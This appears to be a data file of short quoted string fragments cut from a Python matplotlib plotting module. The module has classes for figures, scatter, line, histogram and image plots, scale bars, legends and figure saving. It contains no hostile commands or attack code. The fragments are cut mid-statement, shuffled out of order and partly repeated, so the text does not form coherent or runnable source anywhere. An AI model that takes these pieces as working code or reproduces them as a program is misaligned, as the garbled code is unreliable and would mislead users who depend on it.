"fileName = fileName.split('_' + fileNumStr)[0] except: fileNumStr = fileNumStrNew =",
"used for adding scale bars to plots \"\"\" def __init__(self,",
"= [None for line in range(numLines)] else: labels = self.label",
"their original settings mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter): \"\"\"A class used for",
"fileType=None, fileDir=None, sim=None, **kwargs): from ..analysis import saveData as saveFigData",
"/= 10.0 return value if ymax is not None and",
"y=self.y, s=self.s, c=self.c, marker=self.marker, linewidth=self.linewidth, cmap=self.cmap, norm=self.norm, alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs)",
"self.fig class ImagePlotter(GeneralPlotter): \"\"\"A class used for image plotting using",
"get_tick_size(axis.yaxis) if 'sizex' in kwargs: sizex = kwargs['sizex'] if 'sizey'",
"from ..analysis import loadData self.data = loadData(fileName=fileName, fileDir=fileDir, sim=None) def",
"+ fileNumStr)[0] except: fileNumStr = fileNumStrNew = '01' fileName =",
"weights=self.weights, cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype, align=self.align, orientation=self.orientation, rwidth=self.rwidth, log=self.log, color=self.color, alpha=self.alpha,",
"data.get('c') self.marker = data.get('marker') self.linewidth = data.get('linewidth') self.cmap = data.get('cmap')",
"'Tagged Image File Format' \"\"\" if not sim: from ..",
"in kwargs: dpi = kwargs['dpi'] else: dpi = self.rcParams['figure.dpi'] if",
"**kwargs) self.fig = self.metafig.fig self.axis = self.metafig.ax else: self.fig =",
"self.orig_rcParams = deepcopy(mpl.rcParamsDefault) if rcParams: for rcParam in rcParams: if",
"marker=self.marker, markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs) return self.fig class LinesPlotter(GeneralPlotter): \"\"\"A",
"tick_size = None tick_locs = subaxis.get_majorticklocs() if len(tick_locs)>1: tick_size =",
"+ fileExt else: fileName = fileName + fileDesc + fileExt",
"'tightLayout' not in kwargs: plt.tight_layout() elif kwargs['tightLayout']: plt.tight_layout() if 'saveFig'",
"will be drawn underneath (center-aligned). - transform : the coordinate",
"if sizex: if axis.xaxis_inverted(): sizex = -sizex bars.add_artist(Rectangle((0,0), sizex, 0,",
"sizex = autosize(sizex, xmax, scalex) kwargs['sizex'] = sizex kwargs['sizey'] =",
"if 'grid' in kwargs: self.axis.minorticks_on() if kwargs['grid'] is True: self.axis.grid()",
"if 'labely' not in kwargs or kwargs['labely'] is None: kwargs['labely']",
"kwargs['labely'] is None: kwargs['labely'] = '%.3g %s'%(kwargs['sizey'] * scaley, unitsy)",
"bars = HPacker(children=[self.ylabel, bars], align=\"center\", pad=0, sep=sep) AnchoredOffsetbox.__init__(self, loc, pad=pad,",
"[0.00, 0.20, 0.50], [0.70, 0.32, 0.10]] * 3 class MetaFigure:",
"-sizey bars.add_artist(Rectangle((0,0), 0, sizey, ec=barcolor, lw=barwidth, fc=\"none\")) if sizex and",
"if hidey: axis.yaxis.set_visible(False) if hidex and hidey: axis.set_frame_on(False) return scalebar",
"axis=axis, **kwargs) self.kind = 'image' self.X = data.get('X') self.cmap =",
"self.axis.get_legend_handles_labels() if not handles: handles = cur_handles if not labels:",
"'framealpha', 'facecolor', 'edgecolor', 'mode', 'bbox_transform', 'title', 'title_fontsize', 'borderpad', 'labelspacing', 'handlelength',",
"kind # Make a copy of the current matplotlib rcParams",
"= autosize(sizex, xmax, scalex) kwargs['sizex'] = sizex kwargs['sizey'] = sizey",
"hide x-axis and y-axis of parent - **kwargs : additional",
"Rectangle from matplotlib.offsetbox import AuxTransformBox, VPacker, HPacker, TextArea, DrawingArea bars",
"for histogram plotting\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data,",
"to AnchoredScaleBars Returns created scalebar object \"\"\" def get_tick_size(subaxis): tick_size",
"(maxplots-1)*(figSize[1]*autosize) figSize = [figSize0, figSize1] self.fig, self.ax = plt.subplots(nrows, ncols,",
"type(self.linewidth) != list: linewidths = [self.linewidth for line in range(numLines)]",
"== dict: self.addColorbar(**kwargs['colorbar']) if 'grid' in kwargs: self.axis.minorticks_on() if kwargs['grid']",
"[0.57, 0.67, 0.33], [0.50, 0.20, 0.00], [0.71, 0.82, 0.41], [0.00,",
"= kwargs['sizex'] if 'sizey' in kwargs: sizey = kwargs['sizey'] def",
"not fileName or not isinstance(fileName, basestring): fileName = self.sim.cfg.filename +",
"m)) * m while value > maxvalue: try: value =",
"sim=None, rcParams=None, metafig=None, **kwargs): \"\"\" Parameters ---------- data : dict,",
"axis.yaxis_inverted(): sizey = -sizey bars.add_artist(Rectangle((0,0), 0, sizey, ec=barcolor, lw=barwidth, fc=\"none\"))",
"kwarg in kwargs: if kwarg in legendParams: legendKwargs[kwarg] = kwargs[kwarg]",
"bars to plots \"\"\" def __init__(self, axis, sizex=0, sizey=0, labelx=None,",
"sim=None, subplots=None, rcParams=None, autosize=0.35, **kwargs): if not sim: from ..",
"\"\"\" from matplotlib.patches import Rectangle from matplotlib.offsetbox import AuxTransformBox, VPacker,",
"basestring = str colorList = [[0.42, 0.67, 0.84], [0.90, 0.76,",
"'shadow', 'framealpha', 'facecolor', 'edgecolor', 'mode', 'bbox_transform', 'title', 'title_fontsize', 'borderpad', 'labelspacing',",
"figsize=figSize, dpi=dpi) self.plotters = [] def saveFig(self, sim=None, fileName=None, fileDesc=None,",
"frameon=False, **kwargs) def add_scalebar(axis, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None,",
"self.axis is None: final = True self.metafig = MetaFigure(kind=self.kind, **kwargs)",
"sizex: if axis.xaxis_inverted(): sizex = -sizex bars.add_artist(Rectangle((0,0), sizex, 0, ec=barcolor,",
"input, plot there; otherwise make a new figure and axis",
"fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew = str(int(fileNumStr) + 1).zfill(2) fileName = fileName.split('_' +",
"in kwargs, use those values instead of the defaults if",
"data.get('label', None) self.stacked = data.get('stacked', False) self.data = data.get('data', None)",
": additional arguments passed to AnchoredScaleBars Returns created scalebar object",
"data if type(data) == str: if os.path.isfile(data): self.data = self.loadData(data)",
"self.axis = axis if metafig: self.metafig = metafig # If",
"%s'%(kwargs['sizey'] * scaley, unitsy) # add space for scalebar if",
"= sizey if unitsx is None: unitsx = '' if",
"same axis\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis,",
"axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'line' self.x",
"scalex, unitsx) if 'labely' not in kwargs or kwargs['labely'] is",
"[0.70, 0.32, 0.10]] * 3 class MetaFigure: \"\"\"A class which",
"os.path.isfile(data): self.data = self.loadData(data) else: raise Exception('In Plotter, if data",
"if False, set size using sizex and sizey params -",
"Image File Format' \"\"\" if not sim: from .. import",
"rcParams to their original settings mpl.style.use(self.orig_rcParams) class GeneralPlotter: \"\"\"A class",
"labels and bars in points. - **kwargs : additional arguments",
"**kwargs): histPlot = self.axis.hist(self.x, bins=self.bins, range=self.range, density=self.density, weights=self.weights, cumulative=self.cumulative, bottom=self.bottom,",
"the kwargs legendKwargs = {} for kwarg in kwargs: if",
"axis.xaxis.set_visible(False) if hidey: axis.yaxis.set_visible(False) if hidex and hidey: axis.set_frame_on(False) return",
"= [self.linewidth for line in range(numLines)] else: linewidths = self.linewidth",
"kwargs['sizex'] if 'sizey' in kwargs: sizey = kwargs['sizey'] def autosize(value,",
"Check for and apply any legend parameters in the kwargs",
"filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample, url=self.url, data=self.data) self.finishAxis(**kwargs) return self.fig class AnchoredScaleBar(AnchoredOffsetbox):",
"line per subplot\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data,",
"# Reset the matplotlib rcParams to their original settings mpl.style.use(self.orig_rcParams)",
"+ fileExt if fileDir is not None: fileName = os.path.join(fileDir,",
"c=self.c, marker=self.marker, linewidth=self.linewidth, cmap=self.cmap, norm=self.norm, alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs) return self.fig",
"scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): \"\"\" Add scalebars to",
"rcParams and update them self.orig_rcParams = deepcopy(mpl.rcParamsDefault) if rcParams: for",
"xmax=None, ymax=None, space=None, **kwargs): add_scalebar(self.axis, matchx=matchx, matchy=matchy, hidex=hidex, hidey=hidey, unitsx=unitsx,",
"index, line in enumerate(self.y): self.axis.plot( self.x, self.y[index], color=colors[index], marker=markers[index], markersize=markersizes[index],",
"or kwargs['labelx'] is None: kwargs['labelx'] = '%.3g %s'%(kwargs['sizex'] * scalex,",
"in kwargs: if kwargs['invert_yaxis'] is True: self.axis.invert_yaxis() def addLegend(self, handles=None,",
"self.filterrad = data.get('filterrad', 4.0) self.resample = data.get('resample', None) self.url =",
"= loadData(fileName=fileName, fileDir=fileDir, sim=None) def saveData(self, fileName=None, fileDesc=None, fileType=None, fileDir=None,",
"If 'legendKwargs' is found in kwargs, use those values instead",
"size to the ticks of the plot and optionally hiding",
"None: self.axis.set_xlim(kwargs['xlim']) if 'ylim' in kwargs: if kwargs['ylim'] is not",
"from matplotlib.patches import Rectangle from matplotlib.offsetbox import AuxTransformBox, VPacker, HPacker,",
"kwargs['sizey'] = sizey if unitsx is None: unitsx = ''",
"sizey = -sizey bars.add_artist(Rectangle((0,0), 0, sizey, ec=barcolor, lw=barwidth, fc=\"none\")) if",
": if True, set size of scale bars to spacing",
"self.metafig.fig self.axis = self.metafig.ax else: self.fig = self.axis.figure # Attach",
"RGBA bitmap', 'rgba': 'Raw RGBA bitmap', 'svg': 'Scalable Vector Graphics',",
"'ps': 'Postscript', 'raw': 'Raw RGBA bitmap', 'rgba': 'Raw RGBA bitmap',",
"into. If plotting into an existing axis, more options are",
"Graphics', 'ps': 'Postscript', 'raw': 'Raw RGBA bitmap', 'rgba': 'Raw RGBA",
"kind, sim=None, subplots=None, rcParams=None, autosize=0.35, **kwargs): if not sim: from",
"cur_labels self.axis.legend(handles, labels, **legendKwargs) def addScalebar(self, matchx=True, matchy=True, hidex=True, hidey=True,",
"a set of scale bars to *ax*, matching the size",
"data.get('data', None) def plot(self, **kwargs): histPlot = self.axis.hist(self.x, bins=self.bins, range=self.range,",
"unitsx=unitsx, unitsy=unitsy, scalex=scalex, scaley=scaley, xmax=xmax, ymax=ymax, space=space, **kwargs) def addColorbar(self,",
"enumerate(self.y): self.axis.plot( self.x, self.y[index], color=colors[index], marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index], label=labels[index],",
"autosize(sizex, xmax, scalex) kwargs['sizex'] = sizex kwargs['sizey'] = sizey if",
"rcParams[rcParam] else: print(rcParam, 'not found in matplotlib.rcParams') self.rcParams = rcParams",
"'eps': 'Encapsulated Postscript', 'jpg': 'Joint Photographic Experts Group', 'jpeg': 'Joint",
"the axis to attach ticks to - matchx,matchy : if",
"axis : matplotlib axis The axis to plot into. If",
"class which defines a figure object\"\"\" def __init__(self, kind, sim=None,",
"self.formatAxis(**kwargs) if 'saveData' in kwargs: if kwargs['saveData']: self.saveData(**kwargs) if 'dpi'",
"self.markersize = data.get('markersize') self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') self.label",
"kind # Load data if type(data) == str: if os.path.isfile(data):",
"matplotlib axis The axis to plot into. If axis is",
"legend parameters in the kwargs legendKwargs = {} for kwarg",
"original settings mpl.style.use(self.orig_rcParams) class GeneralPlotter: \"\"\"A class used for plotting\"\"\"",
"any subplots if not subplots: nrows = 1 ncols =",
"cmap=self.cmap, norm=self.norm, aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin, vmax=self.vmax, origin=self.origin, extent=self.extent, filternorm=self.filternorm,",
"kwargs: self.axis.minorticks_on() if kwargs['grid'] is True: self.axis.grid() elif type(kwargs['grid']) ==",
"in range(numLines)] else: colors = self.color if type(self.marker) != list:",
"scalex) kwargs['sizex'] = sizex kwargs['sizey'] = sizey if unitsx is",
"if 'xlabel' in kwargs: self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel' in kwargs: self.axis.set_ylabel(kwargs['ylabel'])",
"import pickle, json import os from matplotlib.offsetbox import AnchoredOffsetbox try:",
"'numpoints', 'scatterpoints', 'scatteryoffsets', 'markerscale', 'markerfirst', 'frameon', 'fancybox', 'shadow', 'framealpha', 'facecolor',",
"!= list: alphas = [self.alpha for line in range(numLines)] else:",
"self.addScalebar(**kwargs['scalebar']) if 'colorbar' in kwargs: if kwargs['colorbar'] is True: self.addColorbar()",
"plotter to its MetaFigure self.metafig.plotters.append(self) def loadData(self, fileName, fileDir=None, sim=None):",
"hidex: axis.xaxis.set_visible(False) if hidey: axis.yaxis.set_visible(False) if hidex and hidey: axis.set_frame_on(False)",
"self.orientation = data.get('orientation', 'vertical') self.rwidth = data.get('rwidth', None) self.log =",
"self.fig class LinePlotter(GeneralPlotter): \"\"\"A class used for plotting one line",
"fileExt else: fileName = fileName + fileDesc + fileExt if",
"and/or vertical bar with the size in data coordinate of",
"= data.get('norm') self.alpha = data.get('alpha') self.linewidths = data.get('linewidths') def plot(self,",
"is found in kwargs, use those values instead of the",
"\"\"\" Draw a horizontal and/or vertical bar with the size",
"if sizex and labelx: self.xlabel = TextArea(labelx) bars = VPacker(children=[bars,",
"data.get('cmap') self.norm = data.get('norm') self.alpha = data.get('alpha') self.linewidths = data.get('linewidths')",
"barwidth=None, **kwargs): \"\"\" Draw a horizontal and/or vertical bar with",
"if xmax is not None and sizex>xmax: sizex = autosize(sizex,",
"else: alphas = self.alpha if self.label is None: labels =",
"= cur_labels self.axis.legend(handles, labels, **legendKwargs) def addScalebar(self, matchx=True, matchy=True, hidex=True,",
"fileExt = '.' + fileType if not fileName or not",
"= 1 elif type(subplots) == int: nrows = subplots ncols",
"'legend' in kwargs: if kwargs['legend'] is True: self.addLegend(**kwargs) elif type(kwargs['legend'])",
"Adds a set of scale bars to *ax*, matching the",
"'fontsize', 'numpoints', 'scatterpoints', 'scatteryoffsets', 'markerscale', 'markerfirst', 'frameon', 'fancybox', 'shadow', 'framealpha',",
"= self.orig_rcParams # Set up any subplots if not subplots:",
"range(numLines)] else: markers = self.marker if type(self.markersize) != list: markersizes",
"'invert_yaxis' in kwargs: if kwargs['invert_yaxis'] is True: self.axis.invert_yaxis() def addLegend(self,",
"labely=None, loc=4, pad=0.1, borderpad=0.1, sep=2, prop=None, barcolor=\"black\", barwidth=None, **kwargs): \"\"\"",
"1)) / m)) * m while value > maxvalue: try:",
"**kwargs) def formatAxis(self, **kwargs): if 'title' in kwargs: self.axis.set_title(kwargs['title']) if",
"def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind",
"= data.get('alpha', None) self.label = data.get('label', None) self.stacked = data.get('stacked',",
"to omit - labelx,labely : labels for x,y bars; None",
"= '01' fileName = fileName.split(fileExt)[0] fileName = fileName.split(fileNumStr)[0] + '_'",
"data.get('alpha', None) self.vmin = data.get('vmin', None) self.vmax = data.get('vmax', None)",
"kwargs: if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if 'tightLayout' not in kwargs: plt.tight_layout()",
"# add space for scalebar if space is not None:",
"label will be drawn underneath (center-aligned). - transform : the",
"sim if fileDesc is not None: fileDesc = '_' +",
"sim=None, fileName=None, fileDesc=None, fileType='png', fileDir=None, overwrite=True, **kwargs): \"\"\" 'eps': 'Encapsulated",
"kwargs['dpi'] else: dpi = self.rcParams['figure.dpi'] if autosize: maxplots = np.max([nrows,",
"figure object\"\"\" def __init__(self, kind, sim=None, subplots=None, rcParams=None, autosize=0.35, **kwargs):",
"fileDesc + fileExt else: fileName = fileName + fileDesc +",
"kwargs['figSize'] else: figSize = self.rcParams['figure.figsize'] if 'dpi' in kwargs: dpi",
"self.y[index], color=colors[index], marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index], label=labels[index], ) self.finishAxis(**kwargs) return",
"with the size in data coordinate of the give axes.",
"borderpad=borderpad, child=bars, prop=prop, frameon=False, **kwargs) def add_scalebar(axis, matchx=True, matchy=True, hidex=True,",
"return self.fig class LinePlotter(GeneralPlotter): \"\"\"A class used for plotting one",
"matplotlib as mpl import matplotlib.pyplot as plt import numpy as",
"'scatter' self.x = data.get('x') self.y = data.get('y') self.s = data.get('s')",
"autosize(value, maxvalue, scale, n=1, m=10): round_to_n = lambda value, n,",
"= True self.metafig = MetaFigure(kind=self.kind, **kwargs) self.fig = self.metafig.fig self.axis",
"axis=axis, **kwargs) self.kind = 'scatter' self.x = data.get('x') self.y =",
"if 'colorbar' in kwargs: if kwargs['colorbar'] is True: self.addColorbar() elif",
"in data units. 0 to omit - labelx,labely : labels",
"color=colors[index], marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index], label=labels[index], ) self.finishAxis(**kwargs) return self.fig",
"xtwin, ytwin, \"\"\" self.kind = kind # Load data if",
"ncols = 1 elif type(subplots) == list: nrows = subplots[0]",
"kwargs['colorbar'] is True: self.addColorbar() elif type(kwargs['colorbar']) == dict: self.addColorbar(**kwargs['colorbar']) if",
"inverted ylim = (ylim0 + space, ylim1) axis.set_ylim(ylim) scalebar =",
"align=\"center\", pad=0, sep=sep) AnchoredOffsetbox.__init__(self, loc, pad=pad, borderpad=borderpad, child=bars, prop=prop, frameon=False,",
"coordinate of the give axes. A label will be drawn",
"tick_size if matchx: sizex = get_tick_size(axis.xaxis) if matchy: sizey =",
"value, n, m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) + (n - 1)) /",
"data.get('norm', None) self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation', None)",
"if type(self.linewidth) != list: linewidths = [self.linewidth for line in",
"axis=axis, **kwargs) self.kind = 'lines' self.x = np.array(data.get('x')) self.y =",
"= -sizex bars.add_artist(Rectangle((0,0), sizex, 0, ec=barcolor, lw=barwidth, fc=\"none\")) if sizey:",
"== str: if os.path.isfile(data): self.data = self.loadData(data) else: raise Exception('In",
"'labelspacing', 'handlelength', 'handletextpad', 'borderaxespad', 'columnspacing', 'handler_map'] # Check for and",
"sizex=0, sizey=0, labelx=None, labely=None, loc=4, pad=0.1, borderpad=0.1, sep=2, prop=None, barcolor=\"black\",",
"try: self.fig.show(block=False) except: self.fig.show() def addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs) def finishFig(self,",
"matchx,matchy : if True, set size of scale bars to",
"0.32, 0.10]] * 3 class MetaFigure: \"\"\"A class which defines",
"ncols = subplots[1] # Create figure if 'figSize' in kwargs:",
"None: ylim0, ylim1 = axis.get_ylim() ylim = (ylim0 - space,",
"fileName.split('_' + fileNumStr)[0] except: fileNumStr = fileNumStrNew = '01' fileName",
"axis to plot into. If axis is set to None,",
"self.markersize = data.get('markersize') self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') def",
"= data.get('interpolation', None) self.alpha = data.get('alpha', None) self.vmin = data.get('vmin',",
"[1.00, 0.38, 0.60], [0.57, 0.67, 0.33], [0.50, 0.20, 0.00], [0.71,",
"attach ticks to - matchx,matchy : if True, set size",
"to *ax*, matching the size to the ticks of the",
"class LinesPlotter(GeneralPlotter): \"\"\"A class used for plotting multiple lines on",
"for x,y bars; None to omit - loc : position",
"self.markersize if type(self.linewidth) != list: linewidths = [self.linewidth for line",
"'ylim' in kwargs: if kwargs['ylim'] is not None: self.axis.set_ylim(kwargs['ylim']) if",
"= sizex kwargs['sizey'] = sizey if unitsx is None: unitsx",
"- axis : the axis to attach ticks to -",
"self.ylabel = TextArea(labely) bars = HPacker(children=[self.ylabel, bars], align=\"center\", pad=0, sep=sep)",
"'dpi' in kwargs: if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if 'figSize' in kwargs:",
"class used for adding scale bars to plots \"\"\" def",
"self.color if type(self.marker) != list: markers = [self.marker for line",
"linePlot = self.axis.plot(self.x, self.y, color=self.color, marker=self.marker, markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs)",
"labels=None, **kwargs): legendParams = ['loc', 'bbox_to_anchor', 'fontsize', 'numpoints', 'scatterpoints', 'scatteryoffsets',",
".. import sim if fileDesc is not None: fileDesc =",
"!= list: markersizes = [self.markersize for line in range(numLines)] else:",
"[None for line in range(numLines)] else: labels = self.label for",
"data.get('range', None) self.density = data.get('density', False) self.weights = data.get('weights', None)",
"if autosize: maxplots = np.max([nrows, ncols]) figSize0 = figSize[0] +",
"== int: nrows = subplots ncols = 1 elif type(subplots)",
"data.get('interpolation', None) self.alpha = data.get('alpha', None) self.vmin = data.get('vmin', None)",
"pad=pad, borderpad=borderpad, child=bars, prop=prop, frameon=False, **kwargs) def add_scalebar(axis, matchx=True, matchy=True,",
"isinstance(fileName, basestring): fileName = self.sim.cfg.filename + fileDesc + fileExt else:",
"handles: handles = cur_handles if not labels: labels = cur_labels",
"= '_' + str(fileDesc) else: fileDesc = '_' + self.kind",
"kwargs: if kwargs['xlim'] is not None: self.axis.set_xlim(kwargs['xlim']) if 'ylim' in",
"is True: self.addColorbar() elif type(kwargs['colorbar']) == dict: self.addColorbar(**kwargs['colorbar']) if 'grid'",
"If plotting into an existing axis, more options are available:",
"A class used for adding scale bars to plots \"\"\"",
"numLines = len(self.y) if type(self.color) != list: colors = [self.color",
"space for scalebar if space is not None: ylim0, ylim1",
"**kwargs) self.kind = 'lines' self.x = np.array(data.get('x')) self.y = np.array(data.get('y'))",
"self.weights = data.get('weights', None) self.cumulative = data.get('cumulative', False) self.bottom =",
"not overwrite: while os.path.isfile(fileName): try: fileNumStr = fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew =",
"markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs) return self.fig class LinesPlotter(GeneralPlotter): \"\"\"A class",
"= axis if metafig: self.metafig = metafig # If an",
"'01' fileName = fileName.split(fileExt)[0] fileName = fileName.split(fileNumStr)[0] + '_' +",
"alphas = [self.alpha for line in range(numLines)] else: alphas =",
"'Joint Photographic Experts Group', 'pdf': 'Portable Document Format', 'pgf': 'PGF",
"list: alphas = [self.alpha for line in range(numLines)] else: alphas",
"= '%.3g %s'%(kwargs['sizey'] * scaley, unitsy) # add space for",
"kwargs: if kwarg in legendParams: legendKwargs[kwarg] = kwargs[kwarg] # If",
"bars to spacing between ticks, if False, set size using",
"self.y = np.array(data.get('y')) self.color = data.get('color') self.marker = data.get('marker') self.markersize",
"of the plot and optionally hiding the x and y",
"self.axis.plot( self.x, self.y[index], color=colors[index], marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index], label=labels[index], )",
"fileName = fileName.split(fileNumStr)[0] + '_' + fileNumStrNew + fileExt self.fig.savefig(fileName)",
"self.rcParams['figure.figsize'] if 'dpi' in kwargs: dpi = kwargs['dpi'] else: dpi",
"type(kwargs['colorbar']) == dict: self.addColorbar(**kwargs['colorbar']) if 'grid' in kwargs: self.axis.minorticks_on() if",
"fileName.split(fileExt)[0] fileName = fileName.split(fileNumStr)[0] + '_' + fileNumStrNew + fileExt",
"plotting\"\"\" def __init__(self, data, kind, axis=None, sim=None, rcParams=None, metafig=None, **kwargs):",
"axis The axis to plot into. If axis is set",
"= get_tick_size(axis.yaxis) if 'sizex' in kwargs: sizex = kwargs['sizex'] if",
"if 'suptitle' in kwargs: if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if 'tightLayout' not",
"'bbox_to_anchor', 'fontsize', 'numpoints', 'scatterpoints', 'scatteryoffsets', 'markerscale', 'markerfirst', 'frameon', 'fancybox', 'shadow',",
"linewidth=self.linewidth, cmap=self.cmap, norm=self.norm, alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs) return self.fig class LinePlotter(GeneralPlotter):",
"y-axis of parent - **kwargs : additional arguments passed to",
": matplotlib axis The axis to plot into. If axis",
"figSize1] self.fig, self.ax = plt.subplots(nrows, ncols, figsize=figSize, dpi=dpi) self.plotters =",
"**kwargs): self.formatAxis(**kwargs) if 'saveData' in kwargs: if kwargs['saveData']: self.saveData(**kwargs) if",
"if type(self.metafig.ax) != list: self.metafig.finishFig(**kwargs) # Reset the matplotlib rcParams",
"return tick_size if matchx: sizex = get_tick_size(axis.xaxis) if matchy: sizey",
"data.get('bottom', None) self.histtype = data.get('histtype', 'bar') self.align = data.get('align', 'mid')",
"class AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A class used for adding scale bars",
"return fileName def showFig(self, **kwargs): try: self.fig.show(block=False) except: self.fig.show() def",
"norm=self.norm, aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin, vmax=self.vmax, origin=self.origin, extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad,",
"data.get('cumulative', False) self.bottom = data.get('bottom', None) self.histtype = data.get('histtype', 'bar')",
"None) self.url = data.get('url', None) self.data = data.get('data', None) def",
"to base class constructor \"\"\" from matplotlib.patches import Rectangle from",
"sizey and labely: self.ylabel = TextArea(labely) bars = HPacker(children=[self.ylabel, bars],",
"else: figSize = self.rcParams['figure.figsize'] if 'dpi' in kwargs: dpi =",
"'tif': 'Tagged Image File Format', 'tiff': 'Tagged Image File Format'",
"sim: from .. import sim if fileDesc is not None:",
"..analysis import saveData as saveFigData saveFigData(self.data, fileName=fileName, fileDesc=fileDesc, fileType=fileType, fileDir=fileDir,",
"If this is the only axis on the figure, finish",
"additional arguments passed to base class constructor \"\"\" from matplotlib.patches",
"**kwargs): \"\"\" Draw a horizontal and/or vertical bar with the",
"if ymax is not None and sizey>ymax: sizey = autosize(sizey,",
"numpy as np from copy import deepcopy import pickle, json",
"subplots=None, rcParams=None, autosize=0.35, **kwargs): if not sim: from .. import",
"a new figure and axis are created and plotted into.",
"scale bars to spacing between ticks, if False, set size",
"hidex,hidey : if True, hide x-axis and y-axis of parent",
"sim=None) def saveData(self, fileName=None, fileDesc=None, fileType=None, fileDir=None, sim=None, **kwargs): from",
"data.get('filterrad', 4.0) self.resample = data.get('resample', None) self.url = data.get('url', None)",
"data units. 0 to omit - labelx,labely : labels for",
"data.get('linewidth') self.alpha = data.get('alpha') def plot(self, **kwargs): linePlot = self.axis.plot(self.x,",
"axis\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs)",
"if type(self.color) != list: colors = [self.color for line in",
"not None: self.axis.set_xlim(kwargs['xlim']) if 'ylim' in kwargs: if kwargs['ylim'] is",
"self.metafig.finishFig(**kwargs) # Reset the matplotlib rcParams to their original settings",
"self.marker = data.get('marker') self.linewidth = data.get('linewidth') self.cmap = data.get('cmap') self.norm",
"finishAxis(self, **kwargs): self.formatAxis(**kwargs) if 'saveData' in kwargs: if kwargs['saveData']: self.saveData(**kwargs)",
"fileName=fileName, fileDesc=fileDesc, fileType=fileType, fileDir=fileDir, sim=sim, **kwargs) def formatAxis(self, **kwargs): if",
"type(self.marker) != list: markers = [self.marker for line in range(numLines)]",
"labels, **legendKwargs) def addScalebar(self, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None,",
"if not labels: labels = cur_labels self.axis.legend(handles, labels, **legendKwargs) def",
"alpha=self.alpha) self.finishAxis(**kwargs) return self.fig class LinesPlotter(GeneralPlotter): \"\"\"A class used for",
"def addScalebar(self, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0,",
"used for histogram plotting\"\"\" def __init__(self, data, axis=None, options={}, **kwargs):",
"fileExt self.fig.savefig(fileName) self.fileName = fileName return fileName def showFig(self, **kwargs):",
"axis.xaxis_inverted(): sizex = -sizex bars.add_artist(Rectangle((0,0), sizex, 0, ec=barcolor, lw=barwidth, fc=\"none\"))",
"fileDesc + fileExt if fileDir is not None: fileName =",
"child=bars, prop=prop, frameon=False, **kwargs) def add_scalebar(axis, matchx=True, matchy=True, hidex=True, hidey=True,",
"self.fig.savefig(fileName) self.fileName = fileName return fileName def showFig(self, **kwargs): try:",
"y axes - axis : the axis to attach ticks",
"if kwargs['saveData']: self.saveData(**kwargs) if 'dpi' in kwargs: if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi'])",
"passed to AnchoredScaleBars Returns created scalebar object \"\"\" def get_tick_size(subaxis):",
"\"\"\"A class used for plotting one line per subplot\"\"\" def",
"if sizey and labely: self.ylabel = TextArea(labely) bars = HPacker(children=[self.ylabel,",
"\"\"\"A class used for image plotting using plt.imshow\"\"\" def __init__(self,",
"if 'dpi' in kwargs: dpi = kwargs['dpi'] else: dpi =",
"self.log = data.get('log', False) self.color = data.get('color', None) self.alpha =",
"if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if 'tightLayout' not in kwargs: plt.tight_layout() elif",
"not in self.fig.canvas.get_supported_filetypes(): raise Exception('fileType not recognized in saveFig') else:",
"if kwargs['ylim'] is not None: self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis' in kwargs:",
"scale bars to plots \"\"\" def __init__(self, axis, sizex=0, sizey=0,",
"round_to_n = lambda value, n, m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) + (n",
"figure and axis are created and plotted into. If plotting",
"Group', 'jpeg': 'Joint Photographic Experts Group', 'pdf': 'Portable Document Format',",
"+ fileDesc + fileExt else: fileName = fileName + fileDesc",
"ticks to - matchx,matchy : if True, set size of",
"from .. import sim self.sim = sim self.kind = kind",
"fileNumStrNew = str(int(fileNumStr) + 1).zfill(2) fileName = fileName.split('_' + fileNumStr)[0]",
"if 'legend' in kwargs: if kwargs['legend'] is True: self.addLegend(**kwargs) elif",
"- transform : the coordinate frame (typically axes.transData) - sizex,sizey",
"= fileName.split(fileExt)[0] + fileDesc + fileExt else: fileName = fileName",
